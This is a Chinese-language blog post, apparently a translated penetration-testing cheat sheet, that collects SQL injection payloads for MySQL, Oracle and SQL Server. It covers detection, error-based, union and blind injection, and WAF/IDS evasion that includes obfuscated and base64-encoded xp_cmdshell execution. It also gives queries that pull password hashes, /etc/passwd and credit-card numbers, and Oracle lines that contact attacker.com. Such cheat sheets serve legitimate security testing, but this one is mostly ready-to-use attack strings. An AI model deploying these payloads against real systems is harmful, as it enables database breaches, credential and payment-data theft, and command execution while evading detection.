vlambda博客
学习文章列表

各种 SQL 注入方法总结


本文主要用于全面识别,利用和升级各种数据库管理系统中的SQL注入漏洞。


0x00 注入检测


SQL注入检测

    可以通过多种方式检测注入。其中最简单的方法是在各种参数后添加'"从而得到一个从Web服务器返回的数据库报错信息。以下部分描述了在哪里可以找到这些参数以及如何检测这些参数。

    参数位置

浏览下面的标签,查看各种HTTP请求中的常见注入点。常见注入点以红色突出显示

    GET - HTTP Request
在常见的HTTP GET请求(以及大多数请求类型)中,有一些常见的注入点。例如:网址参数(下面的请求的
id),Cookie,host以及任何自定义headers信息。然而,HTTP请求中的任何内容都可能容易受到SQL注入的攻击。

GET /?id=homePage HTTP/1.1Host: www.netspi.comConnection: closeCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36Upgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9X-Server-Name: PRODCookie: user=harold;

POST - Form Data
 在具有Content-Type为application/x-www-form-urlencoded的标准HTTP POST请求中,注入将类似于GET请求中的URL参数。它们位于HTTP头信息下方,但仍可以用相同的方式进行利用。

POST / HTTP/1.1Host: netspi.com.comContent-Type: application/x-www-form-urlencodedContent-Length: 39username=harold&[email protected]

POST - JSON
 在具有Content-Type为application/json的标准HTTP POST请求中,注入通常是
JSON{"key":"value"}对的值。该值也可以是数组或对象。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用',但要确保JSON使用双引号,否则可能会破坏请求格式。)

POST / HTTP/1.1Host: netspi.com.comContent-Type: application/jsonContent-Length: 56{"username":"harold","email":"[email protected]"}

POST - XML
 在具有Content-Type为application/xml的标准HTTP POST请求中,注入通常在一个内部。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用
'

POST / HTTP/1.1Host: netspi.com.comContent-Type: application/xmlContent-Length: 79<root><username>harold</username><email>[email protected]</email></root>

检测注入

通过在应用程序中触发错误和布尔逻辑,可以最轻松地检测易受攻击的参数。提供格式错误的查询将触发错误,并且使用各种布尔逻辑语句发送有效查询将触发来自Web服务器的不同响应。

注:True或False语句应通过HTTP状态码或HTML内容返回不同的响应。如果这些响应与查询的True/False性质一致,则表示存在注入。

描述 语句
逻辑测试 page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
算术 product.asp?id=1/1 -- true
product.asp?id=1/0 -- false
基于盲注:
检测盲注可能需要识别或猜测DBMS,
并检查以找到适当的时间函数。
下文讲解
基于错误:
注意:使用无效语法的逻辑测试和算术
也可能会导致错误。
下文讲解


0x01 DBMS识别

检测正在使用的数据库管理系统(DBMS)对于进一步利用注入来说至关重要。没有这些知识,就无法确定要查询的表,内置的函数以及要避免的检测。下面查询的成功响应表明正在使用所选的DBMS.

注意:注释字符 -- 放置在查询后面,以删除查询后面的任何命令,有助于防止出现错误。

MySQL

描述 语句
SLEEP page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串连接 page.php?id=' 'mysql' --
错误消息
注意:通过无效语法触发数据库错误
有时会返回包含DBMS名称的详细错误消息。
page.php?id='
一般提示

PHP应用程序通常具有MySQL数据库。

将查询转换为注入

既然已经确定了注入点,本指南的其余部分将包含完整的查询。使用以下方法将这些查询插入注入点。SELECT @@version将是示例查询。

描述 语句
联合查询 product.php?id=' UNION SELECT @@version --
联合子查询 product.php?id=' UNION (SELECT @@version) --
联合null
注意:如果原始查询返回多个列,
则添加null以等于列数
product.php?id=4 UNION SELECT @@version,null --
堆积式查询
注意:堆积式查询并不总是返回结果,
因此它们最适合用于更新/修改数据的注入。
product.php?id='; INSERT INTO 'docs' ('content') VALUES ((SELECT @@version)) --

Oracle

描述 语句
字符串连接 page.jsp?id='||'oracle' --
默认表 page.jsp?id='UNION SELECT 1 FROM v$version --
错误消息
注意:通过无效语法触发数据库错误
有时会返回包含DBMS名称的详细错误消息。
page.jsp?id='
一般提示

根据应用程序提供的错误,如果存在“ORA-XXXX”错误,其中每个X都是整数,则表示数据库是Oracle.

JSP应用程序通常具有Oracle数据库。

将查询转换为注入

既然已经确定了诸如点,本指南的其余部分将包含完整的查询。使用以下方法将这些查询插入注入点。SELECT banner FROM v$version将是示例查询。

描述 语句
联合查询 product.jsp?id=' UNION SELECT banner FROM v$version --
联合子查询 product.jsp?id=' UNION (SELECT banner FROM v$version) --
联合null
注意:如果原始查询返回多个列,
则添加null以等于列数-1
product.jsp?id=' UNION SELECT banner,null FROM v$version --

SQL Server

描述 语句
WAITFOR 函数 page.asp?id=';WAITFOR DELAY '00:00:10'; --
默认变量 page.asp?id=sql'; SELECT @@SERVERNAME --
错误消息
注意:通过无效语法触发数据库错误
有时会返回包含DBMS名称的详细错误消息。
page.asp?id='
错误消息
注意:如果id参数是整数,
则@@ SERVERNAME变量的字符串值可能导致转换错误。
page.asp?id=@@SERVERNAME
错误消息
注意:如果id参数是整数,
则@@ SERVERNAME变量的字符串值可能导致转换错误。
page.asp?id=0/@@SERVERNAME

一般提示

基于ASP / ASPX的应用程序一般都是MSSQL。

将查询转换为注入

既然已经确定了注入点,本指南的其余部分将包含完整的查询。使用以下方法将这些查询插入注入点。SELECT @@version将是示例查询。

描述 语句
联合查询 product.asp?id=' UNION SELECT @@version --
联合子查询 product.asp?id=' UNION (SELECT @@version) --
联合null
注意:如果原始查询返回多个列,
则添加null以等于列数
product.asp?id=' UNION (SELECT @@version,null) --
堆积式查询
注意:堆积式查询并不总是返回结果,
因此它们最适合用于更新/修改数据的注入。
product.asp?id='; SELECT @@version --

0x02 注入类型 


1、基于错误

当无效输入传递给数据库时,通过触发数据库中的错误来利用基于错误的注入。错误消息可用于返回完整的查询结果,或获取有关如何重构查询以供进一步利用的信息。

MYSQL

描述 语句
XML解析错误 SELECT extractvalue(rand(),concat(0x3a,(select version())))
双查询 SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)  
递增 limit 0,1到limit 1,1开始循环数据
获取当前数据库 SELECT a()

Oracle

描述 语句
无效的HTTP请求 SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
CTXSYS.DRITHSX.SN SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual
无效的XPath SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual
无效的XML SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual
无效的XML SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users

SQL Server

描述 语句
显式转换 SELECT convert(int,(SELECT @@version))
SELECT cast((SELECT @@version) as int)
隐式转换 SELECT 1/@@version

MSSQL CAST函数示例

以下任何查询都可以使用该convert函数重写或作为隐式转换.

描述 语句
将CAST函数注入当前查询 SELECT CAST(@@version as int)
显示系统用户 SELECT CAST(SYSTEM_USER as int);
用xml路径在一行中显示所有数据库 SELECT CAST((SELECT name,',' FROM master..sysdatabases FOR XML path('')) as int)
SELECT CAST((SELECT name AS "data()" FROM master..sysdatabases FOR xml path('')) AS int);
显示服务器名称 SELECT CAST(@@SERVERNAME as int);
显示服务名称 SELECT CAST(@@SERVICENAME as int);
显示数据库列表
注意:下面的查询必须在一行中执行。
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM master..sysdatabases;SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int);
显示表列表
注意:下面的查询必须在一行中执行
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX); SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..sysobjects WHERE type = 'U';SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int);
显示列列表
注意:下面的查询必须在一行中执行。
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..syscolumns WHERE id=object_id('MYTABLE');SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);select cast(@myoutput as int);
显示列数据
注意:下面的查询必须在一行中执行。用
*替换MYCOLUMN来选择所有列
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';SELECT @listStr = @listStr + MYCOLUMN + ',' FROM MYDATABASE..MYTABLE;SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1)SELECT CAST(@myoutput as int);
一次显示一个数据库名称
注意:递增内部TOP值以获取下一条记录
SELECT TOP 1 CAST(name as int) FROM sysdatabases WHERE name in (SELECT TOP 2 name FROM sysdatabases ORDER BY name ASC) ORDER BY name DESC 

2、联合查询注入

基于联合的SQL注入允许攻击者通过扩展原始查询返回的结果来从数据库中提取信息。仅当原始/新查询具有相同结构(列的数量和数据类型)时,才能使用联合运算符。

MySQL

描述 语句
联合 SELECT "mysql" UNION SELECT @@version
联合子查询 SELECT "mysql" UNION (select @@version)
联合null
注意:如果原始查询返回多个列,则添加null以等于列数
SELECT "mysql","test" UNION SELECT @@version,null
堆叠查询
注意:堆叠查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入。
SELECT "mysql"; INSERT INTO 'docs' ('content') VALUES ((SELECT @@version))

Oracle

描述 语句
联合 SELECT user FROM dual UNION SELECT * FROM v$version
联合子查询 SELECT user FROM dual UNION (SELECT * FROM v$version)
联合null
注意:如果原始查询返回多个列,则添加null以等于列数
SELECT user,dummy FROM dual UNION (SELECT banner,null FROM v$version)

SQL Server

描述 语句
联合 SELECT user UNION SELECT @@version
联合子查询 SELECT user UNION (SELECT @@version)
联合null
注意:如果原始查询返回多个列,则添加null以等于列数
SELECT user,system_user UNION (SELECT @@version,null)
联合null二进制减半
注意:此查询用于检测列数。[numberOfColumns]大于列数则返回错误,从而找到表中列的数目。
SELECT * FROM yourtable ORDER BY [numberOfColumns]
堆积式查询
注意:堆积式查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入。
SELECT @@version; SELECT @@version --

3、盲注

盲注是更高级的注入方法之一。部分盲和全盲方法详述如下。执行这些查询时要小心,因为如果通过大量自动化执行,它们可能会使服务器过载。

MySQL

部分盲

部分盲注是指返回HTTP状态代码或HTML响应中的其他标记的查询,他们指示真或假陈述。下面的查询将试图通过在猜测的信息上声明真实或错误的响应来利用注入。真或假查询也可以通过返回1(真)或0(假)行来识别。一个错误也可以用来标识0(False)。

描述 语句
版本是5.xx SELECT substring(version(),1,1)=5
子选择启用 SELECT 1 AND (select 1)=1
表log_table存在 SELECT 1 AND (select 1 from log_table limit 0,1)=1
列message存在于表log_table中
注意:如果列不存在,则查询应该出错
SELECT message FROM log_table LIMIT 0,1
第一条message的第一个字母是t SELECT ascii(substring((SELECT message from log_table limit 0,1),1,1))=114
将部分盲查询转换为全盲查询

通过使用以下转换,可以在全盲方案中使用上述任何查询:

SELECT IF(*PARTIAL_BLIND_QUERY*, SLEEP(5), null)
全盲

部分盲注可以通过HTTP响应中的不同HTTP状态代码,响应时间,内容长度和HTML内容来确定。这些标记可以指示真或假的陈述。下面的查询将试图通过在猜测的信息上声明真或假的响应来利用注入。真或假查询也可以通过返回1(真)或0(假)行来识别。一个错误也可以用来标识0(False)。

描述 语句
用户是root SELECT IF(user() LIKE 'root@%', SLEEP(5), null)
用户是root(Benchmark 方法) SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null)
版本是5.xx SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null)

Oracle

部分盲

部分盲注是指返回HTTP状态代码或HTML响应中的其他标记的查询,他们指示真或假陈述。下面的查询将试图通过在猜测的信息上声明真实或错误的响应来利用注入。真或假查询也可以通过返回1(真)或0(假)行来识别。一个错误也可以用来标识0(False)。

描述 语句
版本是12.2 SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
子选择启用 SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
表log_table存在 SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
列message存在于表log_table中 Select COUNT(*) from user_tab_cols where column_name = 'MESSAGE' and table_name = 'LOG_TABLE';
第一条message的第一个字母是t Select message from log_table where rownum=1 and message LIKE 't%';
将部分盲查询转换为全盲查询

通过使用以下转换,可以在全盲方案中使用上述任何查询:

SELECT CASE WHEN (*PARTIAL_BLIND_QUERY*)=1 THEN (SELECT count(*) FROM all_users a, all_users b, all_users c, all_users d) ELSE 0 END FROM dual
部分盲查询必须返回一行,因此总是尝试在所选列上使用COUNT。添加"all_users [letter]",直到数据库响应变慢。如果数据库缓存响应,您可能需要循环[letter]。
全盲

全盲查询不会在HTTP / HTML响应中指示任何查询结果。这使他们依赖于定时功能和其他out-of-band 攻击方法。一个真的SQL语句需要X秒的回应,一个假的SQL语句应该立即返回。

描述 语句
版本是12.2 SELECT CASE WHEN (SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%11.2%')=1 THEN (SELECT count(*) FROM all_users a, all_users b, all_users c, all_users d) ELSE 0 END FROM dual

SQL Server

部分盲

部分盲注是指返回HTTP状态代码或HTML响应中的其他标记的查询,他们指示真或假陈述。下面的查询将试图通过在猜测的信息上声明真实或错误的响应来利用注入。真或假查询也可以通过返回1(真)或0(假)行来识别。一个错误也可以用来标识0(False)。

描述 语句
版本是12.0.2000.8 SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
子选择启用 SELECT (SELECT @@version)
表log_table存在 SELECT * FROM log_table
列message存在于表log_table中 SELECT message from log_table
第一条message的第一个字母是t WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%'
将部分盲查询转换为全盲查询

通过使用以下转换,可以在全盲方案中使用上述任何查询:

IF exists(*PARTIAL_BLIND_QUERY*) WAITFOR DELAY '00:00:02'

全盲

全盲查询不会在HTTP / HTML响应中指示任何查询结果。这使他们依赖于定时功能和其他out-of-band 攻击方法。一个真的SQL语句需要X秒的回应,一个假的SQL语句应该立即返回。

描述 语句
Version is 12.0.2000.8 IF exists(SELECT @@version where @@version like '%12.0.2000.8%') WAITFOR DELAY '00:00:02'

0x03 注入技术

以下是一些技巧,可以帮助您利用各种SQL注入。

1、条件语句

条件语句有助于创建复杂的查询并帮助盲注入。

MySQL

描述 语句
If/Else SELECT IF(1=2,'true','false')
逻辑 OR SELECT 1 || 0
看到这个运算符的细微差别去这里

Oracle

描述 语句
Case SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual

SQL Server

描述 语句
Case SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END
If/Else IF 1=2 SELECT 'true' ELSE SELECT 'false';

2、注入定位

当注入发生的地方并不明显时,SQL注入总是很麻烦。有一些方法可以在查询的各个部分利用注入是有帮助的。

$injection确定注入点。修改数据的注入尝试始终使用连接,并允许查询的其余部分有效。通过这个文章可以了解更多信息。

MySQL

注入位置 语句 注入字符串
SELECT -> WHERE SELECT * FROM USERS WHERE USER='$injection'; ' or 1=1 --
UPDATE -> SET UPDATE USERS SET email='$injection' WHERE user='NetSPI'; ' '[email protected]' '
UPDATE -> WHERE
注意:尝试将注入字符串设置为有效的WHERE值。如果对象已更新,则注入成功。
UPDATE USERS SET email='[email protected]' WHERE user='$injection'; ' 'netspi' '
DELETE -> WHERE
注意:运行删除语句时要非常小心,因为整个表都会被删除。
DELETE FROM USERS WHERE USERS='$injection'; ' '[email protected]' '

Oracle

注入位置 语句 注入字符串
SELECT -> WHERE SELECT user FROM dual WHERE user LIKE '$injection'; '||'USER%'||'
INSERT -> VALUES INSERT INTO log_table (message) VALUES ('$injection'); '||(select user from dual)||'
UPDATE -> SET UPDATE log_table SET message = '$injection' WHERE message = 'test'; '||(select user from dual)||
UPDATE -> WHERE
注意:尝试将注入字符串设置为有效的WHERE值。如果对象已更新,则注入成功。
UPDATE log_table SET message = 'test' WHERE message = '$injection'; '||'Injected'||'

SQL Server

注入位置 语句 注入字符串
SELECT -> WHERE SELECT * FROM USERS WHERE "USER"='$injection'; ' or 1=1 --
UPDATE -> SET UPDATE USERS SET "email"='$injection' WHERE "USER"='NetSPI'; '+'[email protected]'+'
UPDATE -> WHERE
注意:尝试将注入字符串设置为有效的WHERE值。如果对象已更新,则注入成功。
UPDATE USERS SET "email"='[email protected]' WHERE "USER"='$injection'; '+'NetSPI'+'
DELETE -> WHERE DELETE USERS WHERE "User"='$injection'; '+'NetSPI'+'
INSERT -> VALUES INSERT INTO USERS ([User], [Password]) VALUES ('$injection', 'password'); '+(select @@version)+'

3、混淆查询

混淆查询帮助绕过Web应用程序防火墙(WAF)和入侵检测/预防系统(IDS / IPS)。以下是基本查询混淆的示例,它们在应用于某些注入之前可能需要进行修改。

MySQL

描述 语句
ASCII>字符 SELECT char(65)
字符> ASCII SELECT ascii('A')
十六进制 SELECT 0x4A414B45
Hex> Int SELECT 0x20 + 0x40
按位与 SELECT 6 & 2
按位或 SELECT 6
按位否定 SELECT ~6
按位XOR SELECT 6 ^ 2
右移 SELECT 6>>2
左移 SELECT 6<<2
字符串截取 SELECT substr('abcd', 3, 2)  
substr(string, index, length)
Casting SELECT cast('1' AS unsigned integer)  
SELECT cast('123' AS char)
字符串连接 SELECT concat('net','spi')
SELECT 'n' 'et' 'spi'
无引号 SELECT CONCAT(CHAR(74),CHAR(65),CHAR(75),CHAR(69))
块注释 SELECT/*block  
 comment*/"test"
单行注释 SELECT 1 -- comments out rest of line  
SELECT 1 # comments out rest of line
无空格 SELECT(username)FROM(USERS)WHERE(username='netspi')
允许空白 09, 0A, 0B, 0C, 0D, A0, 20
URL 编码 SELECT%20%2A%20FROM%20USERS
双URL编码 SELECT%2520%2A%2520FROM%2520USERS
无效百分号编码 %SEL%ECT * F%R%OM U%S%ERS

Oracle

描述 语句
ASCII>字符 SELECT char(65) from dual
字符> ASCII SELECT ascii('A') from dual
按位AND SELECT 6 & 2 from dual
按位或 SELECT 6 from dual
按位否定 SELECT ~6 from dual
按位XOR SELECT 6 ^ 2 from dual
选择第N个字符 SELECT substr('abcd', 3, 1) FROM dual; -- Returns 3rd charcter, 'c'
字符串截取 SELECT substr('abcd', 3, 2) from dual
substr(string, index, length)
Cast select CAST(12 AS CHAR(32)) from dual
字符串连接 SELECT concat('net','spi') from dual
注释 SELECT 1 FROM dual -- comment
If 语句 BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF;
Case 语句 SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- Returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- Returns 2
时间延迟 BEGIN DBMS_LOCK.SLEEP(5); END; (Requires Privileges)
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual;  
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
选择第n行 SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- Returns 9th row
按位与 SELECT bitand(6,2) FROM dual; -- Returns 2
SELECT bitand(6,1) FROM dual; -- Returns 0
字符串连接 SELECT 'A' || 'B' FROM dual; -- Returns AB
避免引号 SELECT chr(65) || chr(66) FROM dual; -- Returns AB
16进制编码 SELECT 0x75736572 FROM dual;

SQL Server

描述 语句
ASCII>字符 SELECT char(65)
字符> ASCII SELECT ascii('A')
Hex> Int SELECT 0x20 + 0x40
按位AND SELECT 6 & 2
按位或 SELECT 6
按位否定 SELECT ~6
按位XOR SELECT 6 ^ 2
字符串截取 SELECT substring('abcd', 3, 2)
substring(string, index, length)
Casting SELECT cast('1' AS unsigned integer)
SELECT cast('123' AS char)
字符串连接 SELECT concat('net','spi')
注释 SELECT 1 --comment  
SELECT/*comment*/1
避免引号 SELECT char(65)+char(66) -- returns AB
使用%0d避免使用分号 %0dwaitfor+delay+'0:0:10'--
Bypass Filtering EXEC xP_cMdsheLL 'dir';
用注释避免空格 EXEC/**/xp_cmdshell/**/'dir';-- ';ex/**/ec xp_cmds/**/hell 'dir';
用连接避免查询检测 DECLARE @cmd as varchar(3000);
SET @cmd = 'x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+'/**/'+""+'d'+'i'+'r'+"";
exec(@cmd);
用字符编码避免查询检测 DECLARE @cmd as varchar(3000);
SET @cmd =(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+
CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116)
+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+
CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+
CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+
CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));
EXEC(@cmd);
用base64编码避免查询检测 DECLARE @data varchar(max), @XmlData xml;SET @data = 'ZXhlYyBtYXN0ZXIuLnhwX2NtZHNoZWxsICdkaXIn';
SET @XmlData = CAST('' + @data + '' as xml);SET @data = CONVERT(varchar(max), @XmlData.value('(data)[1]', 'varbinary(max)'));
exec (@data);
用Nchar编码避免查询检测 DECLARE @cmd as nvarchar(3000);
SET @cmd =(nchar(101)+nchar(120)+nchar(101)+nchar(99)+
nchar(32)+nchar(109)+nchar(97)+nchar(115)+nchar(116)+
nchar(101)+nchar(114)+nchar(46)+nchar(46)+
nchar(120)+nchar(112)+nchar(95)+nchar(99)+nchar(109)
+nchar(100)+nchar(115)+nchar(104)+
nchar(101)+nchar(108)+nchar(108)+nchar(32)+nchar(39)+nchar(100)
+nchar(105)+nchar(114)+nchar(39)+nchar(59));
EXEC(@cmd);
用ASCII + CAST 编码避免查询检测 DECLARE @cmd as varchar(MAX);
SET @cmd = cast(0x78705F636D647368656C6C202764697227 as varchar(MAX));
exec(@cmd);
用ASCII + CONVERT  编码避免查询检测 DECLARE @cmd as varchar(MAX);
SET @cmd = convert(varchar(MAX),0x78705F636D647368656C6C202764697227);
exec(@cmd);
用varbinary(MAX)  避免查询检测 DECLARE @cmd as varchar(MAX);
SET @cmd = convert(varchar(0),0x78705F636D647368656C6C202764697227);
exec(@cmd);
用 sp_sqlexec  避免 EXEC() DECLARE @cmd as varchar(3000);
SET @cmd = convert(varchar(0),0×78705F636D647368656C6C202764697227);
exec sp_sqlexec @cmd;
执行 xp_cmdshell 'dir' DECLARE @tmp as varchar(MAX);
SET @tmp = char(88)+char(80)+char(95)+char(67)+char(77)+
char(68)+char(83)+char(72)+char(69)+char(76)+char(76);
exec @tmp 'dir';

0x04 攻击查询 

1、信息收集

收集有关任何测试环境的信息通常很有价值; 版本号,用户帐户和数据库都有助于升级漏洞。以下是常见的方法。

*需要特权用户

MySQL

描述 语句
版本 SELECT @@version
单个用户 SELECT user()
SELECT system_user()
所有用户 SELECT user FROM mysql.user
* SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1
SELECT table_schema, table_name FROM information_schema.tables
SELECT table_name, column_name FROM information_schema.columns
数据库 SELECT schema_name FROM information_schema.schemata
当前数据库名称 SELECT database()
查询其他数据库 USE [database_name]; SELECT database();  
SELECT [column] FROM [database_name].[table_name]
列数 SELECT count(*) FROM information_schema.columns WHERE table_name = '[table_name]'
DBA账户 SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'
密码哈希 SELECT host, user, password FROM mysql.user
Schema SELECT schema()
数据路径 SELECT @@datadir
读取文件 * SELECT LOAD_FILE('/etc/passwd')

Oracle

描述 语句
版本 SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
单个用户 SELECT user FROM dual
所有用户 SELECT username FROM all_users ORDER BY username;
* SELECT name FROM sys.user$;
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
通过列名称获取表 SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';  
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
当前数据库名称 SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
数据库 SELECT DISTINCT owner FROM all_tables;
DBA 账户 SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
特权 SELECT * FROM session_privs;(Retrieves Current Privs)
* SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP';
* SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY';
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
DB文件的位置 SELECT name FROM V$DATAFILE;
主机名,IP地址 SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; (IP地址)
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; (主机名)

SQL Server

描述 语句
版本 SELECT @@version;
单个用户 SELECT user;
SELECT system_user;
SELECT user_name();
SELECT loginame from master..sysprocesses where spid = @@SPID
所有用户 SELECT name from master..syslogins
SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_catalog, column_name FROM information_schema.columns
所有数据库 SELECT name from master..sysdatabases;
当前数据库 SELECT db_name();
服务器名称 SELECT @@SERVERNAME
查找存储过程 SELECT * from master..sysobjects where name like 'sp%' order by name desc
通过用户名获取SUID SELECT SUSER_ID('sa')
通过SUID获取用户名 SELECT SUSER_NAME(1)
检查账户是不是管理员 IS_SRVROLEMEMBER(convert(varchar,0x73797361646D696E))
SELECT is_srvrolemember('sysadmin');
Policies SELECT p.policy_id, p.name as [PolicyName], p.condition_id, c.name as [ConditionName], c.facet, c.expression as [ConditionExpression], p.root_condition_id, p.is_enabled, p.date_created, p.date_modified, p.description, p.created_by, p.is_system, t.target_set_id, t.TYPE, t.type_skeleton FROM msdb.dbo.syspolicy_policies p INNER JOIN syspolicy_conditions c ON p.condition_id = c.condition_id INNER JOIN msdb.dbo.syspolicy_target_sets t ON t.object_set_id = p.object_set_id
域用户 https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/templates/tsql/Get-SQLDomainUser-Example.sql
DB 审计 SELECT a.audit_id, a.name as audit_name, s.name as database_specification_name, d.audit_action_name, d.major_id, OBJECT_NAME(d.major_id) as object, s.is_state_enabled, d.is_group, s.create_date, s.modify_date, d.audited_result FROM sys.server_audits AS a JOIN sys.database_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.database_audit_specification_details AS d ON s.database_specification_id = d.database_specification_id
Server 审计 SELECT audit_id, a.name as audit_name, s.name as server_specification_name, d.audit_action_name, s.is_state_enabled, d.is_group, d.audit_action_id, s.create_date, s.modify_date FROM sys.server_audits AS a JOIN sys.server_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.server_audit_specification_details AS d ON s.server_specification_id = d.server_specification_id
查询历史记录 SELECT * FROM (SELECT COALESCE(OBJECT_NAME(qt.objectid),'Ad-Hoc') AS objectname, qt.objectid as objectid, last_execution_time, execution_count, encrypted,(SELECT TOP 1 SUBSTRING(qt.TEXT,statement_start_offset / 2+1,( (CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(NVARCHAR(MAX),qt.TEXT)) * 2) ELSE statement_end_offset END)- statement_start_offset) / 2+1)) AS sql_statement FROM sys.dm_exec_query_stats AS qs CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS qt ) x ORDER BY execution_count DESC

2、数据定位

能够正确地识别和定位敏感信息可以以指数的方式减少在数据库中花费的时间,这意味着可以花费更多的时间在其他方向上。

数据定位查询

MySQL
描述 语句
数据库大小 SELECT table_schema "Database Name",sum( data_length + index_length ) / 1024 / 1024 "Database Size in MB",sum( data_free )/ 1024 / 1024 "Free Space in MB" FROM information_schema.TABLES GROUP BY table_schema ;
数据库名称关键字 SELECT table_schema "Database Name" FROM information_schema.TABLES WHERE table_schema LIKE "%passwords%" GROUP BY table_schema ;
表名关键字 SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT LIKE "information_schema" AND table_name LIKE "%admin%";
列名关键字 SELECT column_name, table_name FROM information_schema.columns WHERE column_name LIKE "%password%";
列数据正则表达式 SELECT * from credit_cards WHERE cc_number REGEXP '^4[0-9]{15}$';
Oracle
描述 语句
寻找敏感数据 SELECT owner,table_name,column_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
寻找特权 SELECT * FROM session_privs
SELECT * FROM USER_SYS_PRIVS
SELECT * FROM USER_TAB_PRIVS
SELECT * FROM USER_TAB_PRIVS_MADE
SELECT * FROM USER_TAB_PRIVS_RECD
SELECT * FROM ALL_TAB_PRIVS
SELECT * FROM USER_ROLE_PRIVS
提取存储过程/ Java源 SELECT * FROM all_source WHERE owner NOT IN ('SYS','SYSTEM')
SELECT * FROM all_source WHERE TYPE LIKE '%JAVA %'
